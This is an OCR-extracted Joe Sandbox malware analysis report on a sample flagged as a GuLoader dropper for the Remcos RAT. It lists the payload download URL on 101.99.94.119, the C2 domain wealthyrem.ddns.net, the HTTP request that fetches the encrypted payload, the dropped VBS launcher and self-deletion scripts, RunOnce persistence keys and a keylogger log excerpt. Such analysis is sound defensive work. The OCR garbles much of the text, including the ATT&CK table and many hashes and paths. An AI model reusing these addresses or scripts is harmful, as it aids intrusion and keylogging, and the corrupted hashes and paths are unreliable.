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System Behavior
Analysis Process: Fec9qUX4at.exe PID: 1304 Parent PID: 5516

General
File Activities
Registry Activities
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Analysis Process: Fec9qUX4at.exe PID: 1152 Parent PID: 1304
General
File Activities
File Created
File Deleted
File Written
File Read
Registry Activities
Key Created
Key Value Created

Analysis Process: wscript.exe PID: 808 Parent PID: 1152
General
File Activities
File Deleted
Disassembly
Code Analysis
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Windows Analysis Report Fec9qUX4at.exe
Overview

General Information Detection

Sample Fec9qUX4at.exe
Name: MALICIOUS

Analysis ID: 458355

Classification

Found malware configuration

GulLoader behavior detected

MDS: 2046b941817392.. Multi AV Scanner detection for dropp...
SHAL: 843d243a71131b.. Multi AV Scanner detection for subm...
iHAZSG: cOd3dalcefd1a97. Yara detected Guloader

oo = Yara detected Remcos RAT
Infos: n E Q l'f i 3,

. C2 URLs / IPs found in malware con...
gy v

. . Contains functionality to detect hard...
Most interesting Screenshot: ty

oader Remcos

Creates autostart registry keys with ...

3 Score: 100 Deletes itself after installation

= Range: 0-100 Detected RDTSC dummy: instruction...
Whitelisted: false

B X Hides threads from debuggers
Confidence: 100%

@
«Q
>
2
c
=
@
]

Installs a global keyboard hook

Machine Learning detection for dropp...

Process Tree

= System is wl0x64
o [l Fecoquxaat.exe (PID: 1304 cmdiine: ‘C:\Users\user\Desktop\FecaqUX4at.exe’ MDS: 2046B941817392E3815535FCCBF39DC)
e [ Fec9qUX4at.exe (PID: 1152 cmdline: 'C:\Users\user\Desktop\Fec9qUX4at.exe' MD5: 2046B941817392E3815535FCCB1F39DC)
. b> wscript.exe (PID: 808 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\wghhwuvojbjzckdf.vbs' MD5:

7075DD7B9BE8807FCA93ACD86F724884)
= cleanup

Malware Configuration

Threatname: GuLoader

{
"Payload URL": "http://101.99.94.119/WEALTH_fkWglQyCX0188.bin"

Yara Overview

Memory Dumps

Source Rule Description Author Strings
00000000.00000002.348987507.0000000004F5 JoeSecurity_GulLoader_2 Yara detected Joe Security
0000.00000040.00000001.sdmp GuLoader
Process Memory Space: Fec9qUX4at.exe PID: 1152 JoeSecurity_Remcos Yara detected Joe Security

Remcos RAT
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Sigma Overview

System Summary: _ll

Jbx Signhature Overview

@ Click to jump to signature section

Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file

Yara detected Remcos RAT

>
|w)
I
e
@
o
=3
o
3
I
|

Networking:

]

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

‘]

Yara detected Remcos RAT

System Summary:

=

Data Obfuscation:

‘ =

Yara detected GuLoader

Boot Survival:

=

]‘

Hooking and other Techniques for Hiding and Protection:

]‘

Malware Analysis System Evasion:
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Anti Debugging:

Stealing of Sensitive Information: | |

GuLoader behavior detected

Yara detected Remcos RAT

Remote Access Functionality: | |

Yara detected Remcos RAT

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command and
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration Control
Valid Scripting Registry Process Masquerading Input Query Registry Remote Input Exfiltration  Encrypted
Accounts Run Keys/  Injection Capture Services Capture Over Other Channel

Startup Network

Folder E €3 Medium
Default Scheduled Boot or Registry Run  Virtualization/Sandbox LSASS Memory  Security Software Remote Archive Exfiltration Non-Standard
Accounts  Task/Job Logon Keys / Startup Evasion Discovery Desktop Collected Over Port

Initialization Folder Protocol Data Bluetooth

Scripts
Domain At (Linux) Logon Script Logon Script  Process Security Account Virtualization/Sandbox SMB/Windows Data from Automated Ingress Tool
Accounts (Windows)  (Windows) Injection Manager Evasion Admin Shares Network Shared  Exfiltration  Transfer [

Drive
Local At (Windows)  Logon Script Logon Script  Scripting NTDS Process Discovery Distributed Input Capture Scheduled Non-Application
Accounts (Mac) (Mac) Component Transfer Layer Protocol
Object Model
Cloud Cron Network Network Obfuscated Filesor ~ LSA Secrets Remote System SSH Keylogging Data Application Layer
Accounts Logon Script Logon Script  Information Discovery Transfer  Protocol
Size Limits
Replication Launchd Rc.common Rc.common  Software Packing Cached Domain File and Directory VNC GUI Input Exfiltration  Multiband
Through Credentials Discovery Capture Over C2 Communication
Removable Channel
Media
External Scheduled Startup Startup Items  File Deletion DCSync System Information ~ Windows Web Portal Exfiltration Commonly Used
Remote Task Items Discovery Remote Capture Over Port
Services Management Alternative
Protocol

Behavior Graph
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- - - Do

Screenshots

Thumbnails

ID:
Sample:
Startdate:
Architecture:

Score:

Creates autostart registry

Behavior Graph
458355

Fec9qUX4at.exe SUSPICIOUS
03/08/2021 CLEAN
WINDOWS UNKNOWN
100

Contains functionality

values (ikely registry
only malware)

(CPUID execution measurement)

started

FecaqUXdat.exe

Fred

1

R

Detected RDTSC dummy
instruction sequence
(likely for instruction
ammering)

3 other signatures.

FecqUxdat.exe

Legend:

L]
£
£
|

L] HP . B
)ES BB o .

started

i
i
=

Q@ 2|

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious
wealthyrem.ddns.net () Internet
101.99.94.119, 49732, 80 &
194.5.97.1: 00, 49733 Agh dropped dropped ldropped
DANILENKODE
Neth
Gt PP Pz c: data £y e \FANEERS Ascify started
Tries to detect Any.run Hides threads from debuggers instals adioel eyboar
A

24 -
wscript.exe o

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Excel 2016

GIGIYTFFY...

Windows cannot find

A JDDHMPC ‘Ci\Users\hardz\AppData\Lacal\ Temp\ DYKKERDRAGTS\FANEBREREN.vbs'. Make sure you

typed the name correctly, and then try again.

PALRGUC...

DUUDTUB

RB

GLTYDMD

HH 0 Type here to search 0

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source

Fec9qUX4at.exe
Fec9qUX4at.exe
Fec9qUX4at.exe

Dropped Files

Source
C:\Users\user\AppData\Loca\Temp\DYKKERDRAGTS\FANEBREREN.exe
C:\Users\user\AppData\Loca\Temp\DYKKERDRAGTS\FANEBREREN.exe
C:\Users\user\AppData\Loca\Temp\DYKKERDRAGTS\FANEBREREN.exe
Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Copyright Joe Security LLC 2021

Detection
29%

13%
100%

Detection
100%
29%

13%

Scanner
Virustotal
ReversingLabs
Joe Sandbox ML

Scanner
Joe Sandbox ML
Virustotal

ReversingLabs

Label

Win32.Trojan.Vebzenpak

Label

Win32.Trojan.Vebzenpak

Link

Browse

Link

Browse
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https://www.virustotal.com/gui/file/c0d3da1cefd1a979c8b8ce102fd5d3ff090779f72f4d1098eb383cbbb3480bee/detection/f-c0d3da1cefd1a979c8b8ce102fd5d3ff090779f72f4d1098eb383cbbb3480bee-1627946703
https://www.virustotal.com/gui/file/c0d3da1cefd1a979c8b8ce102fd5d3ff090779f72f4d1098eb383cbbb3480bee/detection/f-c0d3da1cefd1a979c8b8ce102fd5d3ff090779f72f4d1098eb383cbbb3480bee-1627946703

Source Detection Scanner Label Link
http://101.99.94.119/WEALTH_fkWglQyCX0O188.bin 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name Active Malicious Antivirus Detection Reputation

Contacted URLs

Malicious Antivirus Detection Reputation

Contacted IPs

ASN Name

Malicious

General Information

Joe Sandbox Version:
Analysis ID:

Start date:

Start time:

Joe Sandbox Product:
Overall analysis duration:
Hypervisor based Inspection enabled:
Report type:

Sample file name:
Cookbook file name:
Analysis system description:
Run name:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Copyright Joe Security LLC 2021

33.0.0 White Diamond

458355

03.08.2021

09:49:14

CloudBasic

Oh 13m Os

false

light

Fec9qUX4at.exe

default.jbs

Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, |E 11, Adobe Reader DC 19, Java 8 Update 211
Suspected Instruction Hammering Hide Perf
41

o O o o

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

default

Timeout

MAL

mal100.troj.spyw.evad. WinEXE@5/4@1/2
Failed

e Successful, ratio: 20.5% (good quality ratio 7.5%)
e Quality average: 17.8%
e Quality standard deviation: 27.9%

Failed
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Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time

09:51:07

09:51:16

e Adjust boot time

e Enable AMSI
e Found application associated with file extension: .exe
Show All
Type Description
Autostart
Data\Local\Temp\DYKKERDRAGTS\FANEBREREN.vbs
Autostart

ppData\Local\Temp\DYKKERDRAGTS\FANEBREREN.vbs

Joe Sandbox View | Context

IPs

Match
194.5.97.128

101.99.94.119

Domains

Match

wealthyrem.ddns.net

ASN

Match
DANILENKODE

Copyright Joe Security LLC 2021

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Detection
malicious
malicious
malicious

malicious

malicious

malicious

Detection
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse
Browse
Browse

Browse

Browse

Browse

Link
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce AMPHITHYRONS C:\Users\user\App

Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce AMPHITHYRONS C:\Users\user\A

Context

101.99.94
119/WEALT
H_PRUuqVZw
139.bin

101.99.94
119/WEALT
H_PRUuqVZw
139.bin

101.99.94
119/WEALT
H_PRUuqVZw
139.bin

Context

194.5.97.128
194.5.97.128
194.5.97.128

Context

194.5.98.7
194.5.98.72
194.5.97.128
194.5.97.128
194.5.97.128
194.5.97.94
194.5.98.7
194.5.98.3
194.5.98.7
194.5.97.18
194.5.98.243
194.5.98.243
194.5.98.23
194.5.98.7
194.5.98.107
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https://view.joesandbox.com/analysis/358822/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358822/html/none?idtype=webid
https://view.joesandbox.com/analysis/358700/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358700/html/none?idtype=webid
https://view.joesandbox.com/analysis/358691/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358691/html/none?idtype=webid
https://view.joesandbox.com/analysis/358822/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358822/html/none?idtype=webid
https://view.joesandbox.com/analysis/358700/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358700/html/none?idtype=webid
https://view.joesandbox.com/analysis/358691/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358691/html/none?idtype=webid
https://view.joesandbox.com/analysis/358822/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358822/html/none?idtype=webid
https://view.joesandbox.com/analysis/358700/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358700/html/none?idtype=webid
https://view.joesandbox.com/analysis/358691/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358691/html/none?idtype=webid
https://view.joesandbox.com/analysis/358980/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358980/html/none?idtype=webid
https://view.joesandbox.com/analysis/358979/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358979/html/none?idtype=webid
https://view.joesandbox.com/analysis/358822/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358822/html/none?idtype=webid
https://view.joesandbox.com/analysis/358700/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358700/html/none?idtype=webid
https://view.joesandbox.com/analysis/358691/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358691/html/none?idtype=webid
https://view.joesandbox.com/analysis/358651/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358651/html/none?idtype=webid
https://view.joesandbox.com/analysis/358570/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358570/html/none?idtype=webid
https://view.joesandbox.com/analysis/358375/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358375/html/none?idtype=webid
https://view.joesandbox.com/analysis/357881/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357881/html/none?idtype=webid
https://view.joesandbox.com/analysis/356527/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356527/html/none?idtype=webid
https://view.joesandbox.com/analysis/355849/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/355849/html/none?idtype=webid
https://view.joesandbox.com/analysis/355836/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/355836/html/none?idtype=webid
https://view.joesandbox.com/analysis/355749/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/355749/html/none?idtype=webid
https://view.joesandbox.com/analysis/355300/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/355300/html/none?idtype=webid
https://view.joesandbox.com/analysis/354963/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354963/html/none?idtype=webid

Match

Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse e 194.5.97.145
Get hash malicious Browse e 194.5.98.7

Get hash malicious Browse e 194.5.98.23
Get hash malicious Browse e 194.5.98.8

Get hash malicious Browse e 194.5.98.158

JAS3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\Fec9qUX4at.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

114688

6.638949072783339

false
1536:BUS3/zw2m3c39SYeXvmgU2sIMflWub4cL51tY4SQmIPYEIZ943ckw2mUS3/:BT/zM3c3bcBsIMfQuDaSZS3ckY T/
2046B941817392E3815535FCCB1F39DC

843D243A71131BAF9FBEOFCF4BA129F51EE74C8F
COD3DA1CEFD1A979C8B8CE102FD5D3FF090779F72F4D1098EB383CBBB3480BEE

ECF0OB711C41619DCF9073F1CD4C769CC106B04AAEC40881FC11CBF8686989DA512A9C2EE2683A90B99DDDB1F4A762CF4DF512663519BC9035BBC6D0FDI0F9!
1

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: Virustotal, Detection: 29%, Browse
e Antivirus: ReversingLabs, Detection: 13%

low

«

C:\Users\user\Desktop\Fec9gUX4at.exe

ASCII text, with CRLF line terminators

dropped

119

5.094609879657231

false

3:jfF+m8nhvF3mRDWXp5cViE2J5xAlzkiwigE CHM:jFghvaIWXp+N23ffiijl
1198AD996993F1C8082084F3CD83DD3C
A841D5A9CA764F8C58EC10FF368C6BD1637E8929
59227CBFDE96895E1D019A879F7155EF36FE091ABO3BEA825C51D9A8A625D6F2
AB29DOFOFEB1D196E2218958495B39A327CBA2F921EFABOEA2C09CBE2D42EF2692021A282EC2987E3998369C1876A083933C37FDC50B3C4A0C769513953FAF1!
true

low

Set W = CreateObject("WScript.Shell")..Set C = W.Exec ("C:\Users\user\AppData\Local\Temp\DYKKERDRAGTS\FANEBREREN.exe")

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

C:\Users\user\Desktop\Fec9qUX4at.exe
data

dropped

468

3.5093499207031558

Copyright Joe Security LLC 2021 Page 11 of 16


https://view.joesandbox.com/analysis/354909/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354909/html/none?idtype=webid
https://view.joesandbox.com/analysis/354885/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354885/html/none?idtype=webid
https://view.joesandbox.com/analysis/354872/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354872/html/none?idtype=webid
https://view.joesandbox.com/analysis/354485/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354485/html/none?idtype=webid
https://view.joesandbox.com/analysis/354433/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354433/html/none?idtype=webid
https://www.virustotal.com/gui/file/c0d3da1cefd1a979c8b8ce102fd5d3ff090779f72f4d1098eb383cbbb3480bee/detection/f-c0d3da1cefd1a979c8b8ce102fd5d3ff090779f72f4d1098eb383cbbb3480bee-1627946703

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

false

12:xQ4IA2++ugypjBQMPURF3Sbx34Q3Dk3Sbx349Hz/0aimi:7a2+SDTzQTkz9Aait

903888A33CC9516D5548F046C7DI02EC

D654ADD97768ABIEO6A2AC428090BE3E2F0512F6

75E4262158D66A77E7496606D466EA6CF1333BCE20D429F1E066A2935FD77F0A
B6BED5DEF33123948A338F1AA65D5D69505487FEF121524C575708894699B0D17A1AA4D3F7C6D1F89CBI730A28CIF20292A5E714F3F2CE2E9D515EB763B45751
true

low

O.n. .E.rror. .Rees.um.e. .Next.Set fs.o..= .CreateO.b,ject("Scrip.ting..F.ileSystem.0O.bje.ct")..while. fs.o..FileEx.is.ts.("C..\U.
s.errs\hard.z\D.eskto.p\F.e.c.9.0.UX4at.ex.e").fso..DeleteF.ile ."C.:\Users\hardz\D.esktopl\F.e.c9.qgUX4at.exe.".wen.d.fs.o..
D.eleteF.ile(W.s.c.rip.t.S.criptFullNam.e.).

C:\Users\luser\AppData\Roaming\remcosl\logs.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\Fec9qUX4at.exe

data

dropped

148

3.353136862680169

false
3:rkIKimuHIKfUFqIDISJWRal2J1+7RODAIBGALNQblovDI9il:NIKIUFK8FI55Y cleeDAlybW/G
23B5A5F0892EDE3E544D530B672DB71C
675F67ESEF80E1868950B6362B54BF367DDA258E
64A5071CE344184BECC0650D8D6432E0CB0271BAF633BDA82E337D736B13EBOL

03369524C6F224DEA70E9CDEE92DFD71214E6C3B99ECAFEOBO9A7F3D69A4F30D67CC6FB2DA9ECAAEDAAACT572B8EY6131321B9B73AE767491BDE4F4CB045C
6F

false

low

...[.2.0.2.1./.0.8./.0.3..0.9.:.5.1.:.1.0. .O.ff.lLin.e. Keylo.g.ger Started].....[ Program. Manager. ]..

Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit): 6.638949072783339
TriD: e Win32 Executable (generic) a (10002005/4)
99.96%
e Generic Win/DOS Executable (2004/3) 0.02%
e DOS Executable Generic (2002/1) 0.02%
e Autodesk FLIC Image File (extensions: fic, fli, cel)
(7/3) 0.00%
File name: Fec9qUX4at.exe
File size: 114688
MD5: 2046b941817392e3815535fcch1f39dc
SHA1L: 843d243a71131baf9fbe0Ofcf4bal29f51ee74c8f
SHA256: c0d3dalcefd1a979c8b8ce102fd5d3ff090779f72f4d1098
eb383cbbb3480bee
SHA512: ecfOb711¢c41619dcfo073f1cd4c769cc106b04aaecd0881
fc11chf8686989da512a9c2ee2683a90b99dddb1f4a762c
f4df512663519bc9035bbc6d0fd90f9571
SSDEEP: 1536:BUS3/zw2m3c39SYeXvmguU2sIMflWub4cL51tY4
SQMIPYEIZ943ckw2mUS3/:BT/zM3c3bcBsIMfQuDaSzZ
S3ckYT/
File Content Preview: MZ.ooiiiiii @.oeei L.LITh
is program cannot be run in DOS mode....$........#...B...B
..B.LN..B..."...B...d...B..Rich.B......... PE..L...(U.coinee
@...oon.. DI P@.one.
File Icon
il
aild

Icon Hash:

d5d5959595959595
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Static PE Info

General

Entrypoint: 0x401144

Entrypoint Section: text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE,

LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp: 0x558D28E4 [Fri Jun 26 10:26:44 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:
OS Version Minor:
File Version Major:
File Version Minor:

Subsystem Version Major:

o~ O & O »

Subsystem Version Minor:

Import Hash: 5565993a5a9f2bfb76f28ab304be6bcl

Entrypoint Preview

Data Directories

Sections

Name  Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

text 0x1000 0x13de4 0x14000 False 0.648803710938 data 7.05513425915 IMAGE_SCN_MEM_EXECUTE,

IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

data  0x15000 0x115¢ 0x1000 False 0.00634765625 data 0.0 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

rsrc 0x17000 0x5b92 0x6000 False 0.545776367188 data 6.0293757353 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Resources

Imports

Version Infos

Possible Origin

Language of compilation system Country where language is spoken Map

Chinese Taiwan

Network Behavior

Network Port Distribution

TCP Packets
UDP Packets

DNS Queries
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Aug 3, 2021 09:52:03.800883055 CEST 192.168.2.3 8.8.8.8 0xdf97 Standard query  wealthyrem A (IP address) IN (0x0001)
(0) .ddns.net

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Aug 3, 2021 8.8.8.8 192.168.2.3 0xdf97 No error (0) wealthyrem 194.5.97.128 A (IP address)  IN (0x0001)

09:52:03.835515976 .ddns.net

CEST

Aug 3, 2021 8.8.8.8 192.168.2.3 Oxf46a No error (0) prda.aadg. www.tm.a.prd.aadg.akadn CNAME IN (0x0001)

09:54:54.508253098 msidentity.com  s.net (Canonical

CEST name)

Aug 3, 2021 8.8.8.8 192.168.2.3 0xd836 No error (0) prda.aadg. www.tm.a.prd.aadg.akadn CNAME IN (0x0001)

09:57:25.151722908 msidentity.com  s.net (Canonical

CEST name)

HTTP Request Dependency Graph

e 101.99.94.119

HTTP Packets

Session ID Source IP Source Port

0 192.168.2.3 49732
kBytes

Timestamp transferred Direction

Aug 3, 2021 7678 ouT

09:52:02.600111008 CEST

Aug 3, 2021 7679 IN
09:52:02.647567034 CEST

Code Manipulations

Copyright Joe Security LLC 2021

Destination IP Destination Port Process

101.99.94.119 80 C:\Users\user\Desktop\Fec9gUX4at.exe

Data

GET /WEALTH_fkWglQyCX0188.bin HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: 101.99.94.119

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 02 Aug 2021 23:52:02 GMT

Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.3.29

Last-Modified: Mon, 02 Aug 2021 21:02:57 GMT

ETag: "72840-5c899e4c3da73"

Accept-Ranges: bytes

Content-Length: 469056

Content-Type: application/octet-stream

Data Raw: 31 79 a2 69 b5 67 ac a3 66 68 89 94 04 1b b4 8f ¢9 36 al 00 58 5a db 92 66 6d cc 77 Oa bf 4e 76 be cb df 4e
9d df 64 5e 44 ed 21 f3 cf f9 7d 62 b4 1b 44 fc 1e d1 54 51 7a 33 c1 4c df €6 15 ab fc 9f 41 d1 41 8f 51 31 14 c8 d8 11 ba
2386 ¢1 35 93 9d fc 44 9e 32 ca a0 fd 73 d9 cb f8 37 88 87 1a 45 0a {7 90 fa bf 49 a3 le a6 e2 63 d3 da f7 1b 8¢ 3f 3b 56
fb 73 f5 5f 71 11 21 67 d6 a5 5b 6f 63 6f 44 5d 92 7d a4 66 fa 44 00 3d 71 d6 5c 03 88 d7 97 a0 3d f6 3d 55 3c 74 Oe f3 18
b3 74 b0 8f 9b fc 7f 70 16 c6 64 54 6e 65 de 18 fO d3 5c bc 13 45 22 ac 24 20 7e 82 b9 70 76 a4 7d 01 {7 d5 61 be 6f 06 f4
2c 87 a6 b3 20 b2 ad 40 2e d1 2f 53 60 03 72 48 d8 a8 33 13 Oa 2 ff d2 dd 78 63 a0 8b 27 17 28 Oe 60 82 f6 72 ae 94 e0
7b d9 7f 8e c3 dd 64 b8 7a 3f 9c de 07 ce e8 0f a5 e2 f6 89 60 01 25 fd 8a 32 fc 79 07 a7 ab df eb 97 4a 2c 9a 34 91 22 ae
83510 09 71 2b 83 86 cf 6e c1 fd 78 9b ff 23 b1 96 1b 1e bl 63 5b 3d 90 ef 89 7e 8a 22 4d e5 54 77 c8 44 5a ca a4 4c
7d b5 c0 fc cO dd 2e 18 32 28 dd ca 3a 96 9c 05 fO 1c 01 92 09 ad 55 8b 34 03 76 7c 2a c7 57 01 af c3 92 f4 fe al 46 ae cb
12 ¢4 67 bb f2 9c 4b ¢8 90 cb 0b 36 3d a2 cf d6 65 cd 91 6d 1a 7b b3 ae 5d b5 71 0a 24 46 d2 95 ab 70 f8 9¢ Oc Of 55 c2
c0 Oc ed 95 d2 b5 e3 48 48 bc f0 3e 3a 82 e8 91 28 22 11 91 fd 50 31 d0 48 57 96 73 6f 6f ab 25 Oc 11 ac 70 08 53 83 83
3f b8 3e c5 49 ba 0a e0 6¢ cd 20 3a db 77 67 8e fb 36 1e cb 1f 01 03 9a 71 8e 49 ed 61 2c 69 21 ad ce f9 ee ff ec 84 8e 6d
86 db b8 3f b7 03 e2 7f 24 ba 8¢ 67 c8 40 b0 eb df 8a b4 91 9b 4f 28 1a 3b 00 71 28 06 b7 a3 84 fa b2 23 5¢ 4c 76 b9 6d c
0 ea b6 ba 5f 07 9a 82 96 5b b9 53 9d 33 fd 1b €9 51 5d 11 32 aa ab 37 a4 e9 e4 ed 8f 5f a9 dd 16 e8 f1 02 6d 5d 93 67 Ob
b1 97 41 ba 80 65 d4 cc ba 7e bl 6e be 4b 0a b7 2c 68 50 ad 15 84 32 c1 47 3e 78 a2 f0 ac 5e f6 53 15 d2 d0 93 e0 68 65
1c ab 21 69 d6 3b €3 69 9c 2b 10 57 7b 25 d8 99 a9 23 1e 80 6a 8b d0 4c c9 98 5f 04 ad 20 6e 20 0 d4 86 3d d5 78 c0 6
300 93 0d 76 4f fd ab d5 50 53 Oc fd ae b8 f8 84 03 9c dc 98 09 3d 1f 8f 80 de 9c d3 a6 97 Ob fa 1a 66 11 63 4d 31 1f 06
d7 7e 4c ea b2 0d 17 00 Oe 9f el 20 97 00 06 32 b2 d4 a3 8a ef 7a 40 7f dd Oc 11 b7 be c1 20 el bb 88 08 d8 e9 42 02 00
36 78 93 28 da 41 52 f9 96 9e c3 54 a2 68 b6 el 93 f8 b8 d3 15 6d 42 73 42 64 ce 30 64 40 c6 a3 ef ed a2 d8 77 ce b3 dO
4e 87 51 cd 57 42 a7 9e 1f fa 7c 71 00 a0 Oe f5 10 6a ff 84 ee f7 d2 d0 7f 20 ec 19 ab 75 73 9¢c 02 41 31 3d 88 d3 19 ed 16
29 3007 c6 5¢ c1 5b bd a4 4b 02 bc ¢6 24 24 f2 cb 2e 0a a2 1f a2 53 16 ba b6 66 85 70 87 87 55 7d 12 44 66 c1 b9 46 4e
le a0 dc 7a e0 ca 8e 6e f8 1e 4b 3f 65 f2 b4 35 8e 12 2c b3 7e 16 04 83 d2 5c¢ fc €9 9c 64 d2 98 66 €9 42 4b Ob ac c1 11
2d 8f bl c5 d1 d1 42 8f 51 31 10 ¢8 d8 11 45 dc 86 c1 8d 93 9d fc 44 9e 32 ca e0 fd 73 d9 cb f8 37 88 87 1a 45 0a f7 90 fa
bf 49 a3 1e a6 e2 63 d3 da f7 1b 8c 3f 3b 56 fb 73 f5 5f 71 11 31 66 d6 a5 55 70 d9 61 44 €9 9b b0 85 de fb 08 cd 1c 25 be
3570 a8 a7 e5 cf 5a 84 5¢ 38 1c 17 6f 9d 76 dc 00 90 ed fe dc 0d 05 78 e6 0d 3a 4e 21 91 4b d0 be 33 d8 76 6b 2f al 2e
04 7e 82 b9 70 76 a4 7d ab 74 97 51 50 8d 2a 97 c2 65 8a

Data Ascii: 1yigfh6XZfmwNvNd*D!}bDTQz3LAAQ1#5D2s7Elc?;Vs_g!glocoD]}fD=q\==U<ttpdTne\E"$ ~pv}ao, @./S
“rH3xc'((r{dz?"%2yJ,4"g+nx#c[=~"MTwDZL}.2(:U4v|[*WFgK6=em{]q$FpUHH>:("P1HWs00%pS?>Il :wg6qla,ilm?$g@0
(;a@#\Lvm_[S3Q]27_m]gAe~nK,hP2G>x"Sheli;i+W{%#L_ n =xcvOPS=fcM1~L 2z@ B6x(ARThmBsBdOd@wNQWB|qj
usA1=)0\[K$$.SfpUIDfFNznK?e5,~\dfBK-BQLED2s7EIc?;Vs_q1fUpaD%5pZ\8ovx:N!K3vk/.~pvitQP*e
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Statistics

Behavior

g

Click to jump to process

System Behavior

Analysis Process: Fec9qUX4at.exe PID: 1304 Parent PID: 5516

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

09:50:05

03/08/2021
C:\Users\user\Desktop\Fec9gUX4at.exe
true
‘C:\Users\user\Desktop\Fec9qUX4at.exe'
0x400000

114688 bytes
2046B941817392E3815535FCCB1F39DC
true

true

Visual Basic

e Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:
00000000.00000002.348987507.0000000004F50000.00000040.00000001.sdmp, Author:

Joe Security
Reputation: low
File Activities Show Windows behavior
